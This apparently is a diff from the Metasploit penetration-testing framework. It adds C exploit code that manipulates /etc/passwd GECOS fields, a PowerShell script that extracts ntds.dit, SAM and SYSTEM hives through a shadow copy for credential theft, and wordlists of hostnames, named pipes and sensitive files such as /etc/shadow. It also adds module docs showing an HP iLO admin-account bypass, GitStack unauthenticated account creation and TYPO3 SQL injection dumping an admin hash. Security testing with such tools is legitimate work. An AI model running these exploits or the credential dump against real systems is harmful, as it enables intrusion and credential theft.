exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
static void
|
||||
generate_fullname(char *const fullname, const ssize_t fullname_len,
|
||||
const char c)
|
||||
{
|
||||
if (fullname == NULL) die();
|
||||
if (fullname_len < 0) die();
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
|
||||
memset(fullname, 'A', fullname_len);
|
||||
|
||||
if (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) {
|
||||
if (!isascii((unsigned char)c)) die();
|
||||
if (!isgraph((unsigned char)c)) die();
|
||||
fullname[fullname_len-1] = c;
|
||||
}
|
||||
}
|
||||
|
||||
static size_t siteinfo_len;
|
||||
static size_t fullname_off;
|
||||
|
||||
static size_t before_fullname_len;
|
||||
static char * before_fullname;
|
||||
|
||||
static size_t after_fullname_len;
|
||||
static char * after_fullname;
|
||||
|
||||
static int
|
||||
generate_userhelper(const char *const a, const int i, char *const contents)
|
||||
{
|
||||
if (i < 0) {
|
||||
if (i != -1) die();
|
||||
return 0;
|
||||
}
|
||||
if (a == NULL) die();
|
||||
if ((unsigned int)i >= strlen(a)) die();
|
||||
if (contents == NULL) die();
|
||||
|
||||
const char _c = a[i];
|
||||
const bool is_user_wildcard = (_c == '?');
|
||||
const char c = (is_user_wildcard ? candidate_users[0] : _c);
|
||||
if (c == '\0') die();
|
||||
|
||||
const size_t target = passwd_fsize-1 + i;
|
||||
const rlim_t fsizelim = (a[i+1] == '\0') ? RLIM_INFINITY : target+1;
|
||||
if (fsizelim < passwd_fsize) die();
|
||||
|
||||
const size_t contents_len = strlen(contents);
|
||||
if (contents_len < passwd_fsize) die();
|
||||
if (contents_len <= fullname_off) die();
|
||||
|
||||
char *const fullname = contents + fullname_off;
|
||||
if (memcmp(fullname - before_fullname_len,
|
||||
before_fullname, before_fullname_len) != 0) die();
|
||||
|
||||
const char *rest = strchr(fullname, '\n');
|
||||
if (rest == NULL) die();
|
||||
rest++;
|
||||
|
||||
const ssize_t fullname_len = (rest - fullname) - after_fullname_len;
|
||||
if (fullname_len >= GECOS_LENGTH) die();
|
||||
if (fullname_len < 0) die();
|
||||
|
||||
if (rest[-1] != '\n') die();
|
||||
generate_fullname(fullname, fullname_len, c);
|
||||
memcpy(fullname + fullname_len, after_fullname, after_fullname_len);
|
||||
if (rest[-1] != '\n') die();
|
||||
|
||||
if (memcmp(rest - after_fullname_len,
|
||||
after_fullname, after_fullname_len) != 0) die();
|
||||
|
||||
size_t offset;
|
||||
for (offset = fullname_off; offset < contents_len; offset++) {
|
||||
|
||||
const char x = contents[offset];
|
||||
if (x == '\0') die();
|
||||
if (is_user_wildcard) {
|
||||
if (strchr(candidate_users, x) == NULL) continue;
|
||||
superuser_elect = x;
|
||||
} else {
|
||||
if (x != c) continue;
|
||||
}
|
||||
|
||||
const ssize_t new_fullname_len = fullname_len + (target - offset);
|
||||
if (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */
|
||||
if (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue;
|
||||
|
||||
if (offset < fullname_off + fullname_len) {
|
||||
if (offset != fullname_off + fullname_len-1) die();
|
||||
if (new_fullname_len == 0) continue;
|
||||
}
|
||||
if (offset >= contents_len-1) {
|
||||
if (offset != contents_len-1) die();
|
||||
if (fsizelim != RLIM_INFINITY) continue;
|
||||
}
|
||||
|
||||
{ char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH);
|
||||
|
||||
memcpy(new_contents, contents, fullname_off);
|
||||
generate_fullname(new_contents + fullname_off, new_fullname_len, c);
|
||||
memcpy(new_contents + fullname_off + new_fullname_len,
|
||||
contents + fullname_off + fullname_len,
|
||||
contents_len+1 - (fullname_off + fullname_len));
|
||||
|
||||
if (strlen(new_contents) != contents_len +
|
||||
(new_fullname_len - fullname_len)) die();
|
||||
|
||||
if (fsizelim != RLIM_INFINITY) {
|
||||
if (fsizelim >= strlen(new_contents)) die();
|
||||
if (fsizelim >= contents_len) die();
|
||||
memcpy(new_contents + fsizelim,
|
||||
contents + fsizelim,
|
||||
contents_len+1 - fsizelim);
|
||||
}
|
||||
|
||||
const int err = generate_userhelper(a, i-1, new_contents);
|
||||
free(new_contents);
|
||||
if (err < 0) continue; }
|
||||
|
||||
if (i >= GECOS_LENGTH) die();
|
||||
struct userhelper *const uh = &userhelpers[i];
|
||||
memset(uh, 0, sizeof(*uh));
|
||||
|
||||
uh->fsizelim = fsizelim;
|
||||
if (new_fullname_len >= GECOS_LENGTH) die();
|
||||
generate_fullname(uh->gecos.full_name, new_fullname_len, c);
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static int
|
||||
generate_userhelpers(const char *const _a)
|
||||
{
|
||||
char a[GECOS_LENGTH];
|
||||
if (_a == NULL) die();
|
||||
const int n = xsnprintf(a, sizeof(a), "\n%s\n", _a);
|
||||
if (n >= GECOS_LENGTH) die();
|
||||
if (n <= 0) die();
|
||||
|
||||
const int fd = xopen(PASSWD, O_RDONLY);
|
||||
struct stat st;
|
||||
if (fstat(fd, &st) != 0) die();
|
||||
if (st.st_size >= 10*1024*1024) die();
|
||||
if (st.st_size <= 0) die();
|
||||
passwd_fsize = st.st_size;
|
||||
|
||||
char *const contents = xmalloc(passwd_fsize + 1);
|
||||
if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();
|
||||
xclose(fd);
|
||||
contents[passwd_fsize] = '\0';
|
||||
if (strlen(contents) != passwd_fsize) die();
|
||||
if (contents[passwd_fsize-1] != '\n') die();
|
||||
|
||||
char fragment[64];
|
||||
xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
|
||||
const char *line = strstr(contents, fragment);
|
||||
if (line == NULL) die();
|
||||
line++;
|
||||
|
||||
const char *rest = strchr(line, '\n');
|
||||
if (rest == NULL) die();
|
||||
if (rest <= line) die();
|
||||
rest++;
|
||||
|
||||
if (strcmp(_a, IS_USER_LAST) == 0) {
|
||||
const bool is_user_last = (*rest == '\0');
|
||||
free(contents);
|
||||
return is_user_last;
|
||||
}
|
||||
|
||||
unsigned int i;
|
||||
const char *field = line;
|
||||
|
||||
for (i = 0; i <= 5; i++) {
|
||||
const char *const field_end = strchr(field, ':');
|
||||
if (field_end == NULL) die();
|
||||
if (field_end >= rest) die();
|
||||
const size_t field_len = field_end - field;
|
||||
|
||||
switch (i) {
|
||||
case 0:
|
||||
if (field_len != strlen(my.username)) die();
|
||||
if (memcmp(field, my.username, field_len) != 0) die();
|
||||
break;
|
||||
case 1:
|
||||
if (*field != 'x') die();
|
||||
break;
|
||||
case 2:
|
||||
if (strtoimax(field, NULL, 10) != getuid()) die();
|
||||
break;
|
||||
case 3:
|
||||
if (strtoimax(field, NULL, 10) != getgid()) die();
|
||||
break;
|
||||
case 4:
|
||||
{
|
||||
char assembled[GECOS_LENGTH];
|
||||
xsnprintf(assembled, sizeof(assembled),
|
||||
"%.*s", (int)field_len, field);
|
||||
if (strlen(assembled) != field_len) die();
|
||||
|
||||
struct gecos_data gecos;
|
||||
memset(&gecos, 0, sizeof(gecos));
|
||||
xsnprintf(gecos.site_info, sizeof(gecos.site_info),
|
||||
"%s", my.gecos.site_info);
|
||||
if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die();
|
||||
}
|
||||
|
||||
siteinfo_len = strlen(my.gecos.site_info);
|
||||
fullname_off = field - contents;
|
||||
|
||||
before_fullname_len = field - line;
|
||||
before_fullname = xstrndup(line, before_fullname_len);
|
||||
|
||||
after_fullname_len = rest - field;
|
||||
after_fullname = xstrndup(field, after_fullname_len);
|
||||
break;
|
||||
|
||||
case 5:
|
||||
if (*field != '/') die();
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
field = field_end + 1;
|
||||
}
|
||||
|
||||
const int err = generate_userhelper(a, n-1, contents);
|
||||
|
||||
free(before_fullname), before_fullname = NULL;
|
||||
free(after_fullname), after_fullname = NULL;
|
||||
free(contents);
|
||||
|
||||
return (err < 0) ? -1 : n;
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
%clr%red
|
||||
.:okOOOkdc' 'cdkOOOko:.
|
||||
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
|
||||
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
|
||||
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
|
||||
oOOOOOOOO.%clr%bldMMMM%clr%red.oOOOOoOOOOl.%clr%bldMMMM%clr%red,OOOOOOOOo
|
||||
dOOOOOOOO.%clr%bldMMMMMM%clr%red.cOOOOOc.%clr%bldMMMMMM%clr%red,OOOOOOOOx
|
||||
lOOOOOOOO.%clr%bldMMMMMMMMM%clr%red;d;%clr%bldMMMMMMMMM%clr%red,OOOOOOOOl
|
||||
.OOOOOOOO.%clr%bldMMM%clr%red.;%clr%bldMMMMMMMMMMM%clr%red;%clr%bldMMMM%clr%red,OOOOOOOO.
|
||||
cOOOOOOO.%clr%bldMMM%clr%red.OOc.%clr%bldMMMMM%clr%red'oOO.%clr%bldMMM%clr%red,OOOOOOOc
|
||||
oOOOOOO.%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red,OOOOOOo
|
||||
lOOOOO.%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red,OOOOOl
|
||||
;OOOO'%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red;OOOO;
|
||||
.dOOo'%clr%bldWM%clr%red.OOOOocccxOOOO.%clr%bldMX%clr%red'xOOd.
|
||||
,kOl'%clr%bldM%clr%red.OOOOOOOOOOOOO.%clr%bldM%clr%red'dOk,
|
||||
:kk;.OOOOOOOOOOOOO.;Ok:
|
||||
;kOOOOOOOOOOOOOOOk:
|
||||
,xOOOOOOOOOOOx,
|
||||
.lOOOOOOOl.
|
||||
,dOd,
|
||||
.%clr
|
||||
@@ -0,0 +1,21 @@
|
||||
%clr%red
|
||||
.:okOOOkdc' 'cdkOOOko:.
|
||||
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
|
||||
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
|
||||
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
|
||||
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
|
||||
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
|
||||
lOOOOOOOO. ;d; ,OOOOOOOOl
|
||||
.OOOOOOOO. .; ; ,OOOOOOOO.
|
||||
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
|
||||
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
|
||||
lOOOOO. .OOOO. :OOOO. ,OOOOOl
|
||||
;OOOO' .OOOO. :OOOO. ;OOOO;
|
||||
.dOOo .OOOOocccxOOOO. xOOd.
|
||||
,kOl .OOOOOOOOOOOOO. .dOk,
|
||||
:kk;.OOOOOOOOOOOOO.cOk:
|
||||
;kOOOOOOOOOOOOOOOk:
|
||||
,xOOOOOOOOOOOx,
|
||||
.lOOOOOOOl.
|
||||
,dOd,
|
||||
.%clr
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,139 @@
|
||||
#Complete script created by Koen Riepe (koen.riepe@fox-it.com)
|
||||
#New-CabinetFile originally by Iain Brighton: http://virtualengine.co.uk/2014/creating-cab-files-with-powershell/
|
||||
function New-CabinetFile {
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(HelpMessage="Target .CAB file name.", Position=0, Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias("FilePath")]
|
||||
[string] $Name,
|
||||
|
||||
[Parameter(HelpMessage="File(s) to add to the .CAB.", Position=1, Mandatory=$true, ValueFromPipeline=$true)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias("FullName")]
|
||||
[string[]] $File,
|
||||
|
||||
[Parameter(HelpMessage="Default intput/output path.", Position=2, ValueFromPipelineByPropertyName=$true)]
|
||||
[AllowNull()]
|
||||
[string[]] $DestinationPath,
|
||||
|
||||
[Parameter(HelpMessage="Do not overwrite any existing .cab file.")]
|
||||
[Switch] $NoClobber
|
||||
)
|
||||
|
||||
Begin {
|
||||
|
||||
## If $DestinationPath is blank, use the current directory by default
|
||||
if ($DestinationPath -eq $null) { $DestinationPath = (Get-Location).Path; }
|
||||
Write-Verbose "New-CabinetFile using default path '$DestinationPath'.";
|
||||
Write-Verbose "Creating target cabinet file '$(Join-Path $DestinationPath $Name)'.";
|
||||
|
||||
## Test the -NoClobber switch
|
||||
if ($NoClobber) {
|
||||
## If file already exists then throw a terminating error
|
||||
if (Test-Path -Path (Join-Path $DestinationPath $Name)) { throw "Output file '$(Join-Path $DestinationPath $Name)' already exists."; }
|
||||
}
|
||||
|
||||
## Cab files require a directive file, see 'http://msdn.microsoft.com/en-us/library/bb417343.aspx#dir_file_syntax' for more info
|
||||
$ddf = ";*** MakeCAB Directive file`r`n";
|
||||
$ddf += ";`r`n";
|
||||
$ddf += ".OPTION EXPLICIT`r`n";
|
||||
$ddf += ".Set CabinetNameTemplate=$Name`r`n";
|
||||
$ddf += ".Set DiskDirectory1=$DestinationPath`r`n";
|
||||
$ddf += ".Set MaxDiskSize=0`r`n";
|
||||
$ddf += ".Set Cabinet=on`r`n";
|
||||
$ddf += ".Set Compress=on`r`n";
|
||||
## Redirect the auto-generated Setup.rpt and Setup.inf files to the temp directory
|
||||
$ddf += ".Set RptFileName=$(Join-Path $ENV:TEMP "setup.rpt")`r`n";
|
||||
$ddf += ".Set InfFileName=$(Join-Path $ENV:TEMP "setup.inf")`r`n";
|
||||
|
||||
## If -Verbose, echo the directive file
|
||||
if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
|
||||
foreach ($ddfLine in $ddf -split [Environment]::NewLine) {
|
||||
Write-Verbose $ddfLine;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Process {
|
||||
|
||||
## Enumerate all the files add to the cabinet directive file
|
||||
foreach ($fileToAdd in $File) {
|
||||
|
||||
## Test whether the file is valid as given and is not a directory
|
||||
if (Test-Path $fileToAdd -PathType Leaf) {
|
||||
Write-Verbose """$fileToAdd""";
|
||||
$ddf += """$fileToAdd""`r`n";
|
||||
}
|
||||
## If not, try joining the $File with the (default) $DestinationPath
|
||||
elseif (Test-Path (Join-Path $DestinationPath $fileToAdd) -PathType Leaf) {
|
||||
Write-Verbose """$(Join-Path $DestinationPath $fileToAdd)""";
|
||||
$ddf += """$(Join-Path $DestinationPath $fileToAdd)""`r`n";
|
||||
}
|
||||
else { Write-Warning "File '$fileToAdd' is an invalid file or container object and has been ignored."; }
|
||||
}
|
||||
}
|
||||
|
||||
End {
|
||||
|
||||
$ddfFile = Join-Path $DestinationPath "$Name.ddf";
|
||||
$ddf | Out-File $ddfFile -Encoding ascii | Out-Null;
|
||||
|
||||
Write-Verbose "Launching 'MakeCab /f ""$ddfFile""'.";
|
||||
$makeCab = Invoke-Expression "MakeCab /F ""$ddfFile""";
|
||||
|
||||
## If Verbose, echo the MakeCab response/output
|
||||
if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
|
||||
## Recreate the output as Verbose output
|
||||
foreach ($line in $makeCab -split [environment]::NewLine) {
|
||||
if ($line.Contains("ERROR:")) { throw $line; }
|
||||
else { Write-Verbose $line; }
|
||||
}
|
||||
}
|
||||
|
||||
## Delete the temporary .ddf file
|
||||
Write-Verbose "Deleting the directive file '$ddfFile'.";
|
||||
Remove-Item $ddfFile;
|
||||
|
||||
## Return the newly created .CAB FileInfo object to the pipeline
|
||||
Get-Item (Join-Path $DestinationPath $Name);
|
||||
}
|
||||
}
|
||||
|
||||
$key = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters"
|
||||
$ntdsloc = (Get-ItemProperty -Path $key -Name "DSA Database file")."DSA Database file"
|
||||
$ntdspath = $ntdsloc.split(":")[1]
|
||||
$ntdsdisk = $ntdsloc.split(":")[0]
|
||||
|
||||
(Get-WmiObject -list win32_shadowcopy).create($ntdsdisk + ":\","ClientAccessible")
|
||||
|
||||
$id_shadow = "None"
|
||||
$volume_shadow = "None"
|
||||
|
||||
if (!(Get-WmiObject win32_shadowcopy).length){
|
||||
Write-Host "Only one shadow clone"
|
||||
$id_shadow = (Get-WmiObject win32_shadowcopy).ID
|
||||
$volume_shadow = (Get-WmiObject win32_shadowcopy).DeviceObject
|
||||
} Else {
|
||||
$n_shadows = (Get-WmiObject win32_shadowcopy).length-1
|
||||
$id_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].ID
|
||||
$volume_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].DeviceObject
|
||||
}
|
||||
|
||||
$command = "cmd.exe /c copy "+ $volume_shadow + $ntdspath + " " + ".\ntds.dit"
|
||||
iex $command
|
||||
|
||||
$command2 = "cmd.exe /c reg save HKLM\SYSTEM .\SYSTEM"
|
||||
iex $command2
|
||||
|
||||
$command3 = "cmd.exe /c reg save HKLM\SAM .\SAM"
|
||||
iex $command3
|
||||
|
||||
(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $volume_shadow}).Delete()
|
||||
if (Test-Path "All.cab"){
|
||||
Remove-Item "All.cab"
|
||||
}
|
||||
New-CabinetFile -Name All.cab -File "SAM","SYSTEM","ntds.dit"
|
||||
Remove-Item ntds.dit
|
||||
Remove-Item SAM
|
||||
Remove-Item SYSTEM
|
||||
@@ -0,0 +1,10 @@
|
||||
access
|
||||
dialin
|
||||
lync
|
||||
lync10
|
||||
lyncaccess
|
||||
lyncaccess01
|
||||
lyncdiscover
|
||||
lyncext
|
||||
lyncweb
|
||||
meet
|
||||
@@ -0,0 +1,25 @@
|
||||
netlogon
|
||||
lsarpc
|
||||
samr
|
||||
browser
|
||||
atsvc
|
||||
DAV RPC SERVICE
|
||||
epmapper
|
||||
eventlog
|
||||
InitShutdown
|
||||
keysvc
|
||||
lsass
|
||||
LSM_API_service
|
||||
ntsvcs
|
||||
plugplay
|
||||
protected_storage
|
||||
router
|
||||
SapiServerPipeS-1-5-5-0-70123
|
||||
scerpc
|
||||
srvsvc
|
||||
tapsrv
|
||||
trkwks
|
||||
W32TIME_ALT
|
||||
wkssvc
|
||||
PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
|
||||
db2remotecmd
|
||||
@@ -1,5 +1,6 @@
|
||||
/etc/passwd
|
||||
/etc/shadow
|
||||
/etc/group
|
||||
/etc/groups
|
||||
/etc/mysql.conf
|
||||
/etc/mysql/my.cnf
|
||||
|
||||
+11
-8
@@ -3,24 +3,27 @@
|
||||
|
||||
To run `msfconsole`
|
||||
```bash
|
||||
docker-compose build
|
||||
docker-compose run --rm --service-ports ms
|
||||
```
|
||||
or
|
||||
```bash
|
||||
./docker/bin/msfconsole
|
||||
```
|
||||
|
||||
To run `msfvenom`
|
||||
or
|
||||
|
||||
```bash
|
||||
docker-compose build
|
||||
docker-compose run --rm --no-deps ms ./msfvenom
|
||||
docker-compose run --rm --service-ports -e MSF_UID=$(id -u) -e MSF_GID=$(id -g) ms
|
||||
```
|
||||
or
|
||||
To run `msfvenom`
|
||||
```bash
|
||||
./docker/bin/msfvenom
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
```bash
|
||||
docker-compose build
|
||||
docker-compose run --rm --no-deps -e MSF_UID=$(id -u) -e MSF_GID=$(id -g) ms ./msfvenom
|
||||
```
|
||||
|
||||
You can pass any command line arguments to the binstubs or the docker-compose command and they will be passed to `msfconsole` or `msfvenom`. If you need to rebuild an image (for example when the Gemfile changes) you need to build the docker image using `docker-compose build` or supply the `--rebuild` parameter to the binstubs.
|
||||
|
||||
### But I want reverse shells...
|
||||
|
||||
@@ -27,4 +27,4 @@ if [[ $PARAMS == *"--rebuild"* ]]; then
|
||||
exit $?
|
||||
fi
|
||||
|
||||
docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$PARAMS"
|
||||
docker-compose run --rm --service-ports -e MSF_UID=$(id -u) -e MSF_GID=$(id -g) ms ./msfconsole -r docker/msfconsole.rc "$PARAMS"
|
||||
|
||||
Executable
+20
@@ -0,0 +1,20 @@
|
||||
#!/bin/bash
|
||||
|
||||
MSF_USER=msf
|
||||
MSF_GROUP=msf
|
||||
TMP=${MSF_UID:=1000}
|
||||
TMP=${MSF_GID:=1000}
|
||||
|
||||
# don't recreate system users like root
|
||||
if [ "$MSF_UID" -lt "1000" ]; then
|
||||
MSF_UID=1000
|
||||
fi
|
||||
|
||||
if [ "$MSF_GID" -lt "1000" ]; then
|
||||
MSF_GID=1000
|
||||
fi
|
||||
|
||||
addgroup -g $MSF_GID $MSF_GROUP
|
||||
adduser -u $MSF_UID -D $MSF_USER -g $MSF_USER -G $MSF_GROUP $MSF_USER
|
||||
|
||||
su-exec $MSF_USER "$@"
|
||||
@@ -0,0 +1,42 @@
|
||||
This module exploits the CVE-2017-12542 for authentication bypass on HP iLO, which is 100% stable when exploited this way, to create an arbitrary administrator account.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use auxiliary/admin/hp/hp_ilo_create_admin_account`
|
||||
3. Set `RHOST`
|
||||
4. run `check` to check if remote host is vulnerable (module tries to list accounts using the REST API)
|
||||
5. Set `USERNAME` and `PASSWORD` to specify a new administrator account credentials
|
||||
6. run `run` to actually create the account on the iLO
|
||||
|
||||
## Options
|
||||
|
||||
**USERNAME**
|
||||
|
||||
The username of the new administrator account. Defaults to a random string.
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
The password of the new administrator account. Defaults to a random string.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### New administrator account creation
|
||||
|
||||
```
|
||||
msf > use auxiliary/admin/hp/hp_ilo_create_admin_account
|
||||
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set RHOST 192.168.42.78
|
||||
RHOST => 192.168.42.78
|
||||
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > check
|
||||
[+] 192.168.42.78:443 The target is vulnerable.
|
||||
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set USERNAME test_user
|
||||
USERNAME => test_user
|
||||
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set PASSWORD test_password
|
||||
PASSWORD => test_password
|
||||
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > run
|
||||
|
||||
[*] Trying to create account test_user...
|
||||
[+] Account test_user/test_password created successfully.
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(admin/hp/hp_ilo_create_admin_account) >
|
||||
```
|
||||
@@ -0,0 +1,106 @@
|
||||
## Description
|
||||
|
||||
GitStack through v2.3.10 contains unauthenticated REST API endpoints that can be used to retrieve information about the application and make changes to it as well. This module generates requests to the vulnerable API endpoints. This module has been tested against GitStack v2.3.10.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The GitStack application provides REST API functionality to list application users, list application repositories, create application users, etc. Several of the application's REST API endpoints do not require authentication, which allows those with network-level access to the application to take advantage of these unprotected requests.
|
||||
|
||||
Application user accounts created through the REST API do not have access to the admin web interface, but the accounts can be added and removed from repositories using additional API requests.
|
||||
|
||||
## Actions
|
||||
|
||||
**LIST**
|
||||
|
||||
List application user accounts.
|
||||
|
||||
Note: The account `everyone` is a default account.
|
||||
|
||||
**LIST_REPOS**
|
||||
|
||||
List application repositories.
|
||||
|
||||
**CREATE**
|
||||
|
||||
Create a user account and add the account to all available repositories.
|
||||
|
||||
**CLEANUP**
|
||||
|
||||
Remove the specified application user account from all available repositories and delete the application account.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- [ ] Install a vulnerable GitStack application
|
||||
- [ ] Create a few application user accounts
|
||||
- [ ] Create a few application repositories
|
||||
- [ ] `./msfconsole`
|
||||
- [ ] `use auxiliary/admin/http/gitstack_rest`
|
||||
- [ ] `set rhost <rhost>`
|
||||
- [ ] `run`
|
||||
- [ ] Verify the application user list that is returned
|
||||
- [ ] `set action LIST_REPOS`
|
||||
- [ ] `run`
|
||||
- [ ] Verify the repository list that is returned
|
||||
- [ ] `set username <username>`
|
||||
- [ ] `set password <password>`
|
||||
- [ ] `set action CREATE`
|
||||
- [ ] `run`
|
||||
- [ ] On the application verify that the user has been created
|
||||
- [ ] On the application verify that the user has access to the repositories
|
||||
- [ ] `set action CLEANUP`
|
||||
- [ ] `run`
|
||||
- [ ] On the application verify that the user doesn't have access to the repositories
|
||||
- [ ] On the application verify that the user has been deleted
|
||||
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### GitStack v2.3.10 on Windows 7 SP1 x64
|
||||
|
||||
```
|
||||
msfdev@simulator:~/git/metasploit-framework$ ./msfconsole -q -r test.rc
|
||||
[*] Processing test.rc for ERB directives.
|
||||
resource (test.rc)> use auxiliary/admin/http/gitstack_rest
|
||||
resource (test.rc)> set rhost 172.22.222.122
|
||||
rhost => 172.22.222.122
|
||||
resource (test.rc)> run
|
||||
[*] User List:
|
||||
[+] rick
|
||||
[+] morty
|
||||
[+] everyone
|
||||
[*] Auxiliary module execution completed
|
||||
resource (test.rc)> set action LIST_REPOS
|
||||
action => LIST_REPOS
|
||||
resource (test.rc)> run
|
||||
[*] Repo List:
|
||||
[+] brainalyzer
|
||||
[+] c137
|
||||
[*] Auxiliary module execution completed
|
||||
resource (test.rc)> set action CREATE
|
||||
action => CREATE
|
||||
resource (test.rc)> run
|
||||
[+] SUCCESS: msf:password
|
||||
[+] User msf added to brainalyzer
|
||||
[+] User msf added to c137
|
||||
[*] Auxiliary module execution completed
|
||||
resource (test.rc)> set action CLEANUP
|
||||
action => CLEANUP
|
||||
resource (test.rc)> run
|
||||
[+] msf removed from brainalyzer
|
||||
[+] msf removed from c137
|
||||
[+] msf has been deleted
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
After CREATE, but before CLEANUP, use git to clone the remote repositories.
|
||||
|
||||
```
|
||||
msfdev@simulator:~/money-bugs$ git clone http://msf:password@172.22.222.122/brainalyzer.git
|
||||
Cloning into 'brainalyzer'...
|
||||
remote: Counting objects: 3, done.
|
||||
Unpacking objects: 100% (3/3), done.
|
||||
remote: Total 3 (delta 0), reused 0 (delta 0)
|
||||
msfdev@simulator:~/money-bugs$ cd brainalyzer/ && ls
|
||||
szechuan_sauce.md
|
||||
```
|
||||
@@ -0,0 +1,49 @@
|
||||
## Description
|
||||
|
||||
News module extensions v5.3.2 and earlier for TYPO3 contain an SQL injection vulnerability. This module allows an unauthenticated user to exploit the SQL injection vulnerability by generating requests to retrieve the password hash for the admin user of the application. This module has been tested on TYPO3 3.16.0 running news extension 5.0.0.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
In vulnerable versions of the news module for TYPO3, a filter for unsetting user specified values does not account for capitalization of the paramter name. This allows a user to inject values to an SQL query.
|
||||
|
||||
To exploit the vulnerability, the module generates requests and sets a value for `order` and `OrderByAllowed`, which gets passed to the SQL query. The requests are constructed to reorder the display of news articles based on a character matching. This allows a blind SQL injection to be performed to retrieve a username and password hash.
|
||||
|
||||
## Options
|
||||
|
||||
**PATTERN1** and **PATTERN2**
|
||||
|
||||
These patterns are used to determine whether the news articles have been reordered. By default, the module will search for headlines and set the first identified headline to PATTERN1 and the second to PATTERN2.
|
||||
|
||||
**ID**
|
||||
|
||||
The value for query parameter `id` of the page that the news extension is running on.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- [ ] Install [Typo3 VM](https://www.turnkeylinux.org/download?file=turnkey-typo3-14.1-jessie-amd64.ova)
|
||||
- [ ] Launch the VM and configure it
|
||||
- [ ] SSH to the VM
|
||||
- [ ] `cd /var/www/typo3/ && composer require georgringer/news:5.0.0`
|
||||
- [ ] Login to the web interface
|
||||
- [ ] Enable the news extension
|
||||
- [ ] Import [vulnerable page](https://github.com/rapid7/metasploit-framework/files/1015777/T3D__2017-05-20_02-17-z.t3d.zip)
|
||||
- [ ] Enable page
|
||||
- [ ] Verify if page is visble to unauthenticated user and note the id
|
||||
- [ ] `./msfconsole -q -x 'use auxiliary/admin/http/typo3_news_module_sqli; set rhost <rhost>; set id <id>; run'`
|
||||
- [ ] Username and password hash should have been retrieved
|
||||
|
||||
## Scenarios
|
||||
|
||||
### News Module 5.0.0 on TYPO3 3.16.0
|
||||
|
||||
```
|
||||
msfdev@simulator:~/git/metasploit-framework$ ./msfconsole -q -x 'use auxiliary/admin/http/typo3_news_module_sqli; set rhost 172.22.222.136; set id 37; run'
|
||||
rhost => 172.22.222.136
|
||||
id => 37
|
||||
[*] Trying to automatically determine Pattern1 and Pattern2...
|
||||
[*] Pattern1: Article #1, Pattern2: Article #2
|
||||
[+] Username: admin
|
||||
[+] Password Hash: $P$Ch4lme3.gje9o.DjMip59baG7b/mIp.
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(admin/http/typo3_news_module_sqli) >
|
||||
```
|
||||
@@ -0,0 +1,64 @@
|
||||
## Description
|
||||
|
||||
This module exploits a directory traversal vulnerability in [Ulterius Server < v1.9.5.0](https://github.com/Ulterius/server/releases). The directory traversal flaw occurs in Ulterius Server's `HttpServer.Process` function call. While processing file requests, the `HttpServer.Process` function does not validate that the requested file is within the web server's root directory or a subdirectory.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
